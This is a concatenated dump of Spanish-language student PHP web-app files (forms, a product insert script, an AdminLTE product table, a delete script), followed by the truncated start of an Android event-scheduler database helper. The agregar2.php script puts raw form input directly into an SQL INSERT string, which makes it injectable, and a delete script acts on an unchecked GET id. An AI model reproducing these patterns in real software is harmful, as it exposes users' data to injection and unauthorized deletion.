} ?><file_sep>/04_final/formulario_m.php <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="large-9 columns"> <form method="POST" action="guardar_m.php"> <!-- Formulario de Maestros --> Numero Empleado: <input type="text" class="form-control" name="nempleado" placeholder="No. Empleado"> <br> Carrera: <input type="text" class="form-control" name="carrera" placeholder="Carrera"> <br> Nombre: <input type="text" class="form-control" name="nombre" placeholder="Nombre"> <br> Telefono: <input type="text" class="form-control" name="telefono" placeholder="Telefono"> <center><button type="submit" class="btn btn-primary">Guardar</button></center> </form> </div> </body> </html> <?php require_once('footer.php'); ?><file_sep>/editado1.2/views/modules/registro_alumno.php <h1>REGISTRO DE ALUMNOS</h1> <form method="post"> <input type="text" placeholder="Matricula" name="matriculaRegistro" required> <input type="text" placeholder="Nombre" name="nombreRegistro" required> <input type="text" placeholder="Carrera" name="carreraRegistro" required> <input type="text" placeholder="Tutor" name="tutorRegistro" required> <input type="submit" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroUsuarioController de la clase MvcController: $registro -> registroAlumnoController(); if(isset($_GET["action"])){ if($_GET["action"] == "alumnoOk"){ echo "Alumno añadido"; } } ?> <file_sep>/Practica07/agregar2.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); $name=$_POST['name']; $descripcion=$_POST['des']; $precio=$_POST['precio']; //Consulta para insertar datos provenientes del formulario de jugadores de futbol $sql = "INSERT INTO productos (`nombre`, `descripcion`, `preciounitario`) VALUES ('$name','$descripcion','$precio')"; $statement = $pdo->prepare($sql); $statement->execute(); $statement->fetchAll(PDO::FETCH_OBJ); header("Location: productos.php"); ?><file_sep>/PNF/Practica12 - copia/views/modules/productos.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!--<br> <h4>LISTADO PRODUCTOS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nuevo Producto" onclick="window.location= 'index.php?action=registrarProducto' "> <br> <!-- Tabla con el listado de alumnos <table border="1"> <thead> <tr> <th>ID</th> <th>Nombre</th> <th>Descripcion</th> <th>Cantidad</th> <th>Precio Unitario</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php //Se manda al controler MvcController y llama a vistaAlumnosController y borrarAlumnosController //$vistaProducto = new MvcController(); //$vistaProducto -> vistaProductosController(); //$vistaProducto -> borrarProductoController(); ?> </tbody> </table>--> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>AdminLTE 3 | Data Tables</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Navbar --> <!-- Navbar --> <nav class="main-header navbar navbar-expand bg-white navbar-light border-bottom"> <!-- Left navbar links --> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" data-widget="pushmenu" href="#"><i class="fa fa-bars"></i></a> </li> <li class="nav-item d-none d-sm-inline-block"> <a href="index.php?action=dashboard" class="nav-link">Home</a> </li> </ul> <!-- SEARCH FORM --> <form class="form-inline ml-3"> <div class="input-group input-group-sm"> <input class="form-control form-control-navbar" type="search" placeholder="Search" aria-label="Search"> <div class="input-group-append"> <button class="btn btn-navbar" type="submit"> <i class="fa fa-search"></i> </button> </div> </div> </form> </nav> <!-- /.navbar --> <!-- Main Sidebar Container --> <aside class="main-sidebar sidebar-dark-primary elevation-4"> <!-- Brand Logo --> <a href="index3.html" class="brand-link"> <img src="views/dist/img/AdminLTELogo.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3" style="opacity: .8"> <span class="brand-text font-weight-light">AdminLTE 3</span> </a> <!-- Sidebar --> <div class="sidebar"> <!-- Sidebar user panel (optional) --> <div class="user-panel mt-3 pb-3 mb-3 d-flex"> <div class="image"> <img src="views/dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image"> </div> <div class="info"> <a href="#" class="d-block"><NAME></a> </div> </div> <!-- Sidebar Menu --> <nav class="mt-2"> <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false"> <!-- Add icons to the links using the .nav-icon class with font-awesome or any other icon font library --> <li class="nav-item has-treeview menu-open"> <a href="index.php?action=dashboard" class="nav-link"> <i class="nav-icon fa fa-dashboard"></i> <p> Dashboard </p> </a> </li> <li class="nav-item"> <a href="index.php?action=usuarios" class="nav-link"> <i class="nav-icon fa fa-th"></i> <p> Usuarios </p> </a> </li> <li class="nav-item"> <a href="index.php?action=productos" class="nav-link"> <i class="nav-icon fa fa-pie-chart"></i> <p> Productos </p> </a> </li> <li class="nav-item"> <a href="index.php?action=index" class="nav-link"> <i class="nav-icon fa fa-tree"></i> <p> Categorias </p> </a> </li> </ul> </nav> <!-- /.sidebar-menu --> </div> <!-- /.sidebar --> </aside> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Productos</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Productos</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <a href="index.php?action=registrarUsuario"><button class="btn btn-block btn-success" style="width: 10%; font-color: white;">Nuevo Producto</button></a> </div> <!-- /.card-header --> <div class="card-body"> <table id="example1" class="table table-bordered table-striped"> <thead> <tr> <th>ID</th> <th>Nombre</th> <th>Descripcion</th> <th>Cantidad</th> <th>Precio Unitario</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php $vistaProducto = new MvcController(); $vistaProducto -> vistaProductosController(); $vistaProducto -> borrarProductoController(); ?> </tbody> <tfoot> <tr> <th>ID</th> <th>Nombre</th> <th>Descripcion</th> <th>Cantidad</th> <th>Precio Unitario</th> <th>Editar</th> <th>Eliminar</th> </tr> </tfoot> </table> </div> <!-- /.card-body --> </div> <!-- /.card --> </div> <!-- /.col --> </div> <!-- /.row --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <footer class="main-footer"> <div class="float-right d-none d-sm-block"> <b>Version</b> 3.0.0-alpha </div> <strong>Copyright &copy; 2014-2018 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights reserved. </footer> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Control sidebar content goes here --> </aside> <!-- /.control-sidebar --> </div> <!-- ./wrapper --> <!-- page script --> <script> $(function () { $("#example1").DataTable(); $('#example2').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": true, "info": true, "autoWidth": false }); }); </script> </body> </html> <?php if(isset($_GET["action"])){ if($_GET["action"] == "ProductoEditado"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/Calificar/2/Practica06/borra_basquetbolista.php <?php include_once('Config2.php'); //Se obtiene el id del basquetbolista del formulario anterior $Id = isset( $_GET['Id'] ) ? $_GET['Id'] : ''; //Asignacion a una variable el Delete del basquetbolista seleccionado //Se hace mediante el id cuando se selecciona el usuario $borrar = $conexion->prepare('DELETE FROM Basquetbolistas WHERE Id = :id'); $borrar->bindParam(':id',$Id); $borrar->execute(); //Alertas de confirmacion de eliminado echo '<script> alert("Basquetbolista Eliminado!"); </script>'; //Redireccion de la pagina donde estan los basquetbolistas echo '<script> window.location = "index3.php"; </script>'; ?>
4eee96d5d25f12c339eac7584fb34d3d6de51dc1
[ "SQL", "PHP" ]
121
PHP
SergioPerez14/app_web_sergio
0124dee184f4d809ea62007d136e4d3a2df5e09b
d79488b61abd19f85a67ef972832ca15c25c853d
refs/heads/master
<file_sep>// get elements const profileName = document.querySelector("#name"); const email = document.querySelector("#email"); const github = document.querySelector("#github"); const linkedin = document.querySelector("#linkedin"); const file = document.querySelector("#file"); const submit = document.querySelector("#submit-form"); const aboutYou = document.querySelector("#about-me-text"); const templateSelect = document.querySelector("#template"); const project1Link = document.querySelector("#project-1"); const project2Link = document.querySelector("#project-2"); const project3Link = document.querySelector("#project-3"); const project4Link = document.querySelector("#project-4"); const project5Link = document.querySelector("#project-5"); submit.addEventListener("click", async (e) => { //console.log("button pressed"); await submitForm(); }); function submitForm() { return new Promise((resolve, reject) => { let fileUpload = file.files[0]; if (fileUpload) { let formData = new FormData(); formData.append("img", fileUpload); fetch("/api/v1/files/upload/profileIMG", { method: "POST", body: formData, }) .then((response) => { return response.json(); }) .then((result) => { let headers = new Headers(); headers.append("Content-Type", "application/json"); let body = JSON.stringify({ name: profileName.value.trim(), email: email.value.trim(), github: github.value.trim(), linkedin: linkedin.value.trim(), template_id: templateSelect.value.trim(), portfolio_aboutme: aboutYou.value.trim(), project_1_link: project1Link.value.trim(), project_2_link: project2Link.value.trim(), project_3_link: project3Link.value.trim(), project_4_link: project4Link.value.trim(), project_5_link: project5Link.value.trim(), }); console.log(`the body is ${body}`); let requestOptions = { method: "POST", headers: headers, body: body, }; fetch("/api/v1/files/upload/data", requestOptions) .then((response) => response.json()) .then((result) => { console.log(result); resolve(document.location.replace("/portfolios")); }) .catch((err) => { console.log(err); reject(err); }); }); } else { let headers = new Headers(); headers.append("Content-Type", "application/json"); let body = JSON.stringify({ name: profileName.value.trim(), email: email.value.trim(), github: github.value.trim(), linkedin: linkedin.value.trim(), template_id: templateSelect.value.trim(), portfolio_aboutme: aboutYou.value.trim(), project_1_link: project1Link.value.trim(), project_2_link: project2Link.value.trim(), project_3_link: project3Link.value.trim(), project_4_link: project4Link.value.trim(), project_5_link: project5Link.value.trim(), }); console.log(`the body is ${body}`); let requestOptions = { method: "POST", headers: headers, body: body, }; fetch("/api/v1/files/upload/data", requestOptions) .then((response) => response.json()) .then((result) => { console.log(result); resolve(document.location.replace("/portfolios")); }) .catch((err) => { console.log(err); reject(err); }); } }); } <file_sep># Anchor - Portfolio Generator Follow this link that demonstrates the functionality of the Portfolio Generator called Anchor! [Deployed Anchor App](https://blooming-peak-48470.herokuapp.com/) ## Description This creative app called "Anchor" allows you to create an account and/or sign in to construct a personal portfolio. After answering some questions about yourself and your craft, click next to see your generated portfolio. ![image](/public/css/images/landing.PNG) Anchor Landing Page ![image](/public/css/images/login.PNG) Anchor Login Page ![image](/public/css/images/form.PNG) Anchor Forms ## Table of Contents * [Title](#title) * [Description](#description) * [Usage](#usage) * [Questions](#questions) * [Team](#team) ## Usage Launch the our Heroku app, register or sign into your Anchor account, then answer some questions about yourself, desired template, and craft. Then click on your deployed link and view your amazing portfolio. ## Questions If you have any questions, you can reach out to us by following the links below to our GitHub profiles. ## Team <NAME> [GitHub Profile](https://github.com/mhowe21) </br> <NAME> [GitHub Profile](https://github.com/lauramichellepeterson) </br> <NAME> [GitHub Profile](https://github.com/lauramichellepeterson) </br> <NAME> [GitHub Profile](https://github.com/Aort69)<file_sep>const router = require("express").Router(); const s3 = require("../../utilities/awsS3"); const bucketName = "project2bucketmhowe1"; const { User, UserContent } = require("../../models"); const s3Obj = new s3(); router.post("/upload/profileIMG", async (req, res) => { console.log(req.files.img); return new Promise(async (resolve, reject) => { if (req.files.img) { //res.json(`uploaded file name: ${req.files.file.name}`); let inFile = await s3Obj.uploadFile( bucketName, req.files.img.name, req.files.img.data ); UserContent.create({ user_id: req.session.user_id, avatar_image_URI: inFile.Location, }).then((data) => { req.session.currentContentID = data.id; console.log(req.session.currentContentID); res.json(data); resolve(data); }); //res.json(inFile); } else { res.json(`No file recived`); reject(false); } }); }); router.post("/upload/projectIMG/:id", async (req, res) => { console.log(req.files.img); if (req.session.currentContentID) { if (req.files.img) { //res.json(`uploaded file name: ${req.files.file.name}`); let inFile = await s3Obj.uploadFile( bucketName, req.files.img.name, req.files.img.data ); userProfileIMG = `user_profile_img_${req.params.id}`; UserContent.update( { [userProfileIMG]: inFile.Location }, { where: { id: req.session.currentContentID, }, } ).then((data) => { res.json(data); }); } else { res.json("no file found"); } } else if (!req.session.currentContentID) { let inFile = await s3Obj.uploadFile( bucketName, req.files.img.name, req.files.img.data ); let userProfileIMG = `user_profile_img_${req.params.id}`; UserContent.create({ user_id: req.session.user_id, [userProfileIMG]: inFile.Location, }).then((data) => { req.session.currentContentID = data.id; console.log(req.session.currentContentID); res.json(data); }); } }); router.post("/upload/data", async (req, res) => { if (!req.session.currentContentID) { UserContent.create({ user_id: req.session.user_id, portfolio_name: req.body.name, portfolio_email: req.body.email, portfolio_github_link: req.body.github, portfolio_linkedin_link: req.body.linkedin, portfolio_aboutme: req.body.portfolio_aboutme, template_id: req.body.template_id, user_profile_url_1: project_1_link, user_profile_url_2: project_2_link, user_profile_url_3: project_3_link, user_profile_url_4: project_4_link, user_profile_url_5: project_5_link, }).then((data) => { req.session.currentContentID = data.id; console.log(req.session.currentContentID); res.json(data); }); } else if (req.session.currentContentID) { UserContent.update( { user_id: req.session.user_id, portfolio_name: req.body.name, portfolio_email: req.body.email, portfolio_github_link: req.body.github, portfolio_linkedin_link: req.body.linkedin, portfolio_aboutme: req.body.portfolio_aboutme, template_id: req.body.template_id, user_profile_url_1: req.body.project_1_link, user_profile_url_2: req.body.project_2_link, user_profile_url_3: req.body.project_3_link, user_profile_url_4: req.body.project_4_link, user_profile_url_5: req.body.project_5_link, }, { where: { id: req.session.currentContentID, }, } ).then((data) => { res.json(data); }); } }); module.exports = router; <file_sep>const AWS = require("aws-sdk"); AWS.config.update({ region: process.env.AWS_REGION }); const { resolve } = require("path"); require("dotenv").config(); //let file = "testFile.jpg"; const s3 = new AWS.S3({ accessKeyId: process.env.AWS_ID, secretAccessKey: process.env.AWS_SEC, }); class s3Handle { constructor() {} async createBucket() { return new Promise(function (resolve, reject) { const params = { Bucket: this.BUCKET_NAME, }; s3.createBucket(params, function (err, data) { if (err) { reject(err); } else { resolve(data.Location); } }); }); } async uploadFile(bucketName, fileName, fileItem) { return new Promise(function (resolve, reject) { //const fileItem = fs.readFileSync(file); let params = { Bucket: bucketName, Key: fileName, Body: fileItem, ACL: "public-read", }; s3.upload(params, (err, data) => { if (err) { reject(err); } else { resolve(data); } }); }); } async getFile(bucketName, fileName) { return new Promise(function (resolve, reject) { let params = { Bucket: bucketName, Key: fileName, }; s3.getObject(params, function (err, data) { if (err) { reject(err); } else { resolve(data.Body); } }); }); } } module.exports = s3Handle; <file_sep>const router = require("express").Router(); const { User, UserContent } = require("../models"); router.get("/", (req, res) => { res.render("home"); }); router.get("/login", (req, res) => { res.render("login"); }); router.get("/dashboard", (req, res) => { res.render("dashboard"); }); router.get("/portfolios", (req, res) => { console.log(req.session.user_id); UserContent.findAll({ where: { user_id: req.session.user_id, }, }) .then((data) => { //res.json(data); const info = data.map((info) => info.get({ plain: true })); console.log(info); res.render("portfolios", { info }); }) .catch((err) => { console.log(err); res.status(500).json(err); }); }); router.get("/portfolios/:id", (req, res) => { UserContent.findOne({ where: { id: req.params.id, user_id: req.session.user_id, }, }).then((data) => { const info = data.get({ plain: true }); console.log(info); res.render(`template${info.template_id}`, { info }); //res.json(info); }); }); module.exports = router;
b22ef5305eea5ccaf7cea122d64df87e23092a5c
[ "JavaScript", "Markdown" ]
5
JavaScript
mhowe21/Portfolio--Generator
5e98a2d496b364d8d520884d0bdc9ed597c98f2c
b5c2b434bde4060767e34865de4e99ea9a0e3156
refs/heads/master
<file_sep>import { Component } from '@angular/core'; import {select, Store} from "@ngrx/store"; import { login } from '../state/books.actions'; import {Observable} from "rxjs"; import {selectLogin} from "../state/login.reducer"; @Component({ selector: 'app-user-login', templateUrl: './user-login.component.html', styleUrls: ['./user-login.component.scss'], }) export class UserLoginComponent { user$ : Observable<string>; userId = "user" + Math.random(); constructor(private store: Store) { this.user$ = this.store.pipe(select(selectLogin)); } login() { this.store.dispatch(login({userid: this.userId})); } }<file_sep>import { Component, EventEmitter, Input, Output } from '@angular/core'; @Component({ selector: 'app-book-add', templateUrl: './book-add.component.html', styleUrls: ['./book-add.component.scss'], }) export class BookAddComponent { @Output() newBook = new EventEmitter(); model = { title: "", authors: "" }; createNewBook() { this.newBook.emit({ title: this.model.title, authors: this.model.authors.split(",") }); } }<file_sep>import { createAction, props } from '@ngrx/store'; import {Book} from "../book-list/books.model"; export const addBook = createAction( '[Book List] Add Book', props<{ bookId }>() ); export const removeBook = createAction( '[Book Collection] Remove Book', props<{ bookId }>() ); export const retrievedBookList = createAction( '[Book List/API] Retrieve Books Success', props<{ Book }>() ); export const newBook = createAction( '[Book List] New Book', props<{ Book: Book }>() ); export const login = createAction( '[Login] Login', props<{ userid: string }>() );<file_sep>import {createReducer, on, createSelector} from '@ngrx/store'; import {login} from './books.actions'; import {AppState} from "./app.state"; export const initialState: string = ""; export const userReducer = createReducer( initialState, on(login, (state, { userid }) => userid) ); export const selectLogin = createSelector( (state: AppState) => state.userid, (userid: string) => userid ); <file_sep>import { Component } from '@angular/core'; import { Store, select } from '@ngrx/store'; import { selectBookCollection, selectBooks } from './state/books.selectors'; import { retrievedBookList, addBook, removeBook, newBook, } from './state/books.actions'; import { GoogleBooksService } from './book-list/books.service'; import { Book } from './book-list/books.model'; import {Observable} from "rxjs"; import {selectLogin} from "./state/login.reducer"; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.scss'], }) export class AppComponent { books$ = this.store.pipe(select(selectBooks)); bookCollection$ = this.store.pipe(select(selectBookCollection)); user$ : Observable<string>; onAdd(bookId) { this.store.dispatch(addBook({ bookId })); } onRemove(bookId) { this.store.dispatch(removeBook({ bookId })); } onNew(bookData) { const book = { id: "id" + Math.random(), volumeInfo: bookData }; this.store.dispatch(newBook({ Book: book })); this.booksService.storeNewBook(book).subscribe(); } constructor( private booksService: GoogleBooksService, private store: Store ) { this.user$ = this.store.pipe(select(selectLogin)); } ngOnInit() { this.booksService .books .subscribe((Book: Book[]) => this.store.dispatch(retrievedBookList({ Book }))); } }<file_sep>import { HttpClient } from '@angular/common/http'; import { Injectable } from '@angular/core'; import {Observable, Subject} from 'rxjs'; import {filter, map} from 'rxjs/operators'; import { Book } from './books.model'; import {Store} from "@ngrx/store"; interface ReadResponse { userid: string, books: Book[] } @Injectable({ providedIn: 'root' }) export class GoogleBooksService { userid : string = null; books : Subject<Book[]> = new Subject(); constructor(private http: HttpClient, private store: Store<{userid: string}>) { this.store.select('userid').pipe(filter(e => !!e)).subscribe(newUserId => { this.userid = newUserId; this.http .get<ReadResponse>(this.REST_RESOURCE_ENDPOINT + '?userid=' + newUserId) .pipe(map((resp) => resp.books || [])).subscribe(this.books); }) } private readonly REST_RESOURCE_ENDPOINT = 'https://mega-api.oglimmer.de/book'; storeNewBook(book: Book): Observable<void> { return this.http.post<void>(this.REST_RESOURCE_ENDPOINT, { userid: this.userid, book: book }); } }<file_sep>const AWS = require('aws-sdk'); const docClient = new AWS.DynamoDB.DocumentClient(); exports.handler = async (event) => { const body = event["body-json"]; const userid = body.userid; var paramsRead = { TableName: 'book', Key: { 'userid': userid } }; const data = await docClient.get(paramsRead).promise(); let Item = data.Item; if (!Item) { Item = { userid: userid, books: [] } } Item.books.push(body.book); const paramsWrite = { TableName: 'book', Item }; const writeResp = await docClient.put(paramsWrite).promise(); const response = { statusCode: 200, body: "done", }; return response; };<file_sep># Angular - testcafe.io playground ## How to run Assuming you have the AWS infrastructure running. ``` npm i npm run start npm run e2e ``` ## How to set up AWS This assumes you own the domain "oglimmer.de", that you've added a *.oglimmer.de certificate to AWS in eu-central-1 and that you host the oglimmer.de zone within digital ocean. Set the env variable DO_API_TOKEN with your digital ocean API TOKEN. Use terraform ``` terraform init terraform apply -auto-approve -var do_api_token=$DO_API_TOKEN ```
9f157f345c99d753e53ee6e44966aa59eb1e1d3c
[ "JavaScript", "TypeScript", "Markdown" ]
8
TypeScript
oglimmer/angular-testcafe-playground
9ca0c1a01c18db908090254e32a43f40a9d99e86
a80fbc2d81fc9da6fcb333188815a7d92a838441
refs/heads/master
<repo_name>zaferot/dotfiles<file_sep>/.zshrc # Path to your oh-my-zsh installation. export ZSH=$HOME/.oh-my-zsh # Set name of the theme to load. # Look in ~/.oh-my-zsh/themes/ # Optionally, if you set this to "random", it'll load a random theme each # time that oh-my-zsh is loaded. ZSH_THEME="ys" # Uncomment the following line to use case-sensitive completion. # CASE_SENSITIVE="true" # Uncomment the following line to disable bi-weekly auto-update checks. # DISABLE_AUTO_UPDATE="true" # Uncomment the following line to change how often to auto-update (in days). # export UPDATE_ZSH_DAYS=13 # Uncomment the following line to disable colors in ls. # DISABLE_LS_COLORS="true" # Uncomment the following line to disable auto-setting terminal title. # DISABLE_AUTO_TITLE="true" # Uncomment the following line to enable command auto-correction. # ENABLE_CORRECTION="true" # Uncomment the following line to display red dots whilst waiting for completion. # COMPLETION_WAITING_DOTS="true" # Uncomment the following line if you want to disable marking untracked files # under VCS as dirty. This makes repository status check for large repositories # much, much faster. # DISABLE_UNTRACKED_FILES_DIRTY="true" # Uncomment the following line if you want to change the command execution time # stamp shown in the history command output. # The optional three formats: "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd" # HIST_STAMPS="mm/dd/yyyy" # Would you like to use another custom folder than $ZSH/custom? # ZSH_CUSTOM=/path/to/new-custom-folder # Which plugins would you like to load? (plugins can be found in ~/.oh-my-zsh/plugins/*) # Custom plugins may be added to ~/.oh-my-zsh/custom/plugins/ # Example format: plugins=(rails git textmate ruby lighthouse) # Add wisely, as too many plugins slow down shell startup. plugins=(archlinux command-not-found colored-man sudo systemd history-substring-search z safe-paste) source $ZSH/oh-my-zsh.sh # User configuration # Update completion db each time new command is installed zstyle ':completion:*' rehash true # Activating zsh-syntax-highlighting source /usr/share/zsh/plugins/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh # bind UP and DOWN arrow keys zmodload zsh/terminfo bindkey "$terminfo[kcuu1]" history-substring-search-up bindkey "$terminfo[kcud1]" history-substring-search-down # bind P and N for EMACS mode bindkey -M emacs '^P' history-substring-search-up bindkey -M emacs '^N' history-substring-search-down # bind k and j for VI mode bindkey -M vicmd 'k' history-substring-search-up bindkey -M vicmd 'j' history-substring-search-down # Disable Flow Control unsetopt flow_control # Attach to TMUX session if [[ -z "$TMUX" ]] ;then ID="`tmux ls 2>/dev/null | cut -d: -f1`" # get the id of a deattached session if [[ -z "$ID" ]] ;then # if not available create a new one tmux new-session -s default else tmux attach-session -t "$ID" # if available attach to it fi fi # Load my aliases [ -e "${HOME}/.zsh/zsh_aliases" ] && source "${HOME}/.zsh/zsh_aliases" # Load custom LS_COLORS eval $(dircolors ~/.dircolors) # FZF [ -f ~/.fzf.zsh ] && source ~/.fzf.zsh # Load FZF functions if [[ -z "$TMUX" ]] ;then [ -e "${HOME}/.zsh/fzf_term.zsh" ] && source "${HOME}/.zsh/fzf_term.zsh" else [ -e "${HOME}/.zsh/fzf_tmux.zsh" ] && source "${HOME}/.zsh/fzf_tmux.zsh" fi <file_sep>/.zshenv # Set $PATH typeset -U path path=(/usr/local/bin $path) # Set default editior export EDITOR=vim # Set default Web browser export BROWSER=google-chrome-stable # Setting ag as the default source for fzf export FZF_DEFAULT_COMMAND='ag -l -g ""' # Set TERM if [[ -z "$TMUX" ]] ;then export TERM=xterm-256color-it fi # Disable Flow Control stty -ixon <file_sep>/.zsh/fzf_tmux.zsh # Varios fzf-tmux functions (TMUX variant) # fe [FUZZY PATTERN] - Open the selected file with the default editor # - Bypass fuzzy finder if there's only one match (--select-1) # - Exit if there's no match (--exit-0) fe() { local file file=$(fzf-tmux --query="$1" --select-1 --exit-0) [ -n "$file" ] && ${EDITOR:-vim} "$file" } # Modified version where you can press # - CTRL-O to open with `open` command, # - CTRL-E or Enter key to open with the $EDITOR fo() { local out file key out=$(fzf-tmux --query="$1" --exit-0 --expect=ctrl-o,ctrl-e) key=$(head -1 <<< "$out") file=$(head -2 <<< "$out" | tail -1) if [ -n "$file" ]; then [ "$key" = ctrl-o ] && open "$file" || ${EDITOR:-vim} "$file" fi } # fd - cd to selected directory fd() { local dir dir=$(find ${1:-*} -path '*/\.*' -prune \ -o -type d -print 2> /dev/null | fzf-tmux +m) && cd "$dir" } # fda - including hidden directories fda() { local dir dir=$(find ${1:-.} -type d 2> /dev/null | fzf-tmux +m) && cd "$dir" } # cdf - cd into the directory of the selected file cdf() { local file local dir file=$(fzf-tmux +m -q "$1") && dir=$(dirname "$file") && cd "$dir" } # fh - repeat history fh() { print -z $( ([ -n "$ZSH_NAME" ] && fc -l 1 || history) | fzf-tmux +s --tac | sed 's/ *[0-9]* *//') } # fkill - kill process fkill() { pid=$(ps -ef | sed 1d | fzf-tmux -m | awk '{print $2}') if [ "x$pid" != "x" ] then kill -${1:-9} $pid fi } # fbr - checkout git branch (including remote branches) fbr() { local branches branch branches=$(git branch --all | grep -v HEAD) && branch=$(echo "$branches" | fzf-tmux -d $(( 2 + $(wc -l <<< "$branches") )) +m) && git checkout $(echo "$branch" | sed "s/.* //" | sed "s#remotes/[^/]*/##") } # fco - checkout git branch/tag fco() { local tags branches target tags=$( git tag | awk '{print "\x1b[31;1mtag\x1b[m\t" $1}') || return branches=$( git branch --all | grep -v HEAD | sed "s/.* //" | sed "s#remotes/[^/]*/##" | sort -u | awk '{print "\x1b[34;1mbranch\x1b[m\t" $1}') || return target=$( (echo "$tags"; echo "$branches") | fzf-tmux -l30 -- --no-hscroll --ansi +m -d "\t" -n 2) || return git checkout $(echo "$target" | awk '{print $2}') } # fcoc - checkout git commit fcoc() { local commits commit commits=$(git log --pretty=oneline --abbrev-commit --reverse) && commit=$(echo "$commits" | fzf-tmux --tac +s +m -e) && git checkout $(echo "$commit" | sed "s/ .*//") } # fshow - git commit browser fshow() { local out sha q while out=$( git log --decorate=short --graph --oneline --color=always | fzf-tmux --ansi --multi --no-sort --reverse --query="$q" --print-query); do q=$(head -1 <<< "$out") while read sha; do [ -n "$sha" ] && git show --color=always $sha | less -R done < <(sed '1d;s/^[^a-z0-9]*//;/^$/d' <<< "$out" | awk '{print $1}') done } # fcs - get git commit sha # example usage: git rebase -i `fcs` fcs() { local commits commit commits=$(git log --color=always --pretty=oneline --abbrev-commit --reverse) && commit=$(echo "$commits" | fzf-tmux --tac +s +m -e --ansi --reverse) && echo -n $(echo "$commit" | sed "s/ .*//") } # ftags - search ctags ftags() { local line [ -e tags ] && line=$( awk 'BEGIN { FS="\t" } !/^!/ {print toupper($4)"\t"$1"\t"$2"\t"$3}' tags | cut -c1-80 | fzf-tmux --nth=1,2 ) && $EDITOR $(cut -f3 <<< "$line") -c "set nocst" \ -c "silent tag $(cut -f2 <<< "$line")" } # fs [FUZZY PATTERN] - Select selected tmux session # - Bypass fuzzy finder if there's only one match (--select-1) # - Exit if there's no match (--exit-0) fs() { local session session=$(tmux list-sessions -F "#{session_name}" | \ fzf-tmux --query="$1" --select-1 --exit-0) && tmux switch-client -t "$session" } # ftpane - switch pane ftpane () { local panes current_window target target_window target_pane panes=$(tmux list-panes -s -F '#I:#P - #{pane_current_path} #{pane_current_command}') current_window=$(tmux display-message -p '#I') target=$(echo "$panes" | fzf) || return target_window=$(echo $target | awk 'BEGIN{FS=":|-"} {print$1}') target_pane=$(echo $target | awk 'BEGIN{FS=":|-"} {print$2}' | cut -c 1) if [[ $current_window -eq $target_window ]]; then tmux select-pane -t ${target_window}.${target_pane} else tmux select-pane -t ${target_window}.${target_pane} && tmux select-window -t $target_window fi } # z integration unalias z z() { if [[ -z "$*" ]]; then cd "$(_z -l 2>&1 | fzf-tmux +s --tac | sed 's/^[0-9,.]* *//')" else _last_z_args="$@" _z "$@" fi } zz() { cd "$(_z -l 2>&1 | sed 's/^[0-9,.]* *//' | fzf-tmux -q $_last_z_args)" } # Vagrant vs(){ #List all vagrant boxes available in the system including its status, and try to access the selected one via ssh cd $(cat ~/.vagrant.d/data/machine-index/index | jq '.machines[] | {name, vagrantfile_path, state}' | jq '.name + "," + .state + "," + .vagrantfile_path'| sed 's/^"\(.*\)"$/\1/'| column -s, -t | sort -rk 2 | fzf-tmux | awk '{print $3}'); vagrant ssh }
6e19be643c66cc137c1ecb2f82639ed4c6db5a3a
[ "Shell" ]
3
Shell
zaferot/dotfiles
ec501541ec509518c29607552dc44895993f732b
f097a072d073114a13f8ff2e1f86ed0be6c14474
refs/heads/master
<repo_name>jyun977/FlexScheduler<file_sep>/app/src/main/java/cse/osu/edu/flexscheduler/EventDatabase.java package cse.osu.edu.flexscheduler; import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; /** * Created by <NAME> on 11/8/2015. */ public class EventDatabase extends SQLiteOpenHelper { private static final String DATABASE_NAME = "flextest2.db"; private static final int DATABASE_VERSION = 1; public static final String FLEX_SCHEDULER_TABLE_NAME = "flextest2"; private static final String FLEX_SCHEDULER_TABLE_CREATE = "CREATE TABLE " + FLEX_SCHEDULER_TABLE_NAME + "(" + "event_id INTEGER PRIMARY KEY AUTOINCREMENT,"+ "account_id TEXT NOT NULL," + "title TEXT NOT NULL, start_date TEXT NOT NULL," + "start_time TEXT NOT NULL, duration," + "deadline_date TEXT NOT NULL, deadline_time TEXT NOT NULL," + "place, place_latitude, place_longitude, participants, note" + ");"; public EventDatabase(Context context) { super(context, DATABASE_NAME, null, DATABASE_VERSION); System.out.println("In constructor"); } /* (non-Javadoc) * @see android.database.sqlite.SQLiteOpenHelper#onCreate(android.database.sqlite.SQLiteDatabase) */ @Override public void 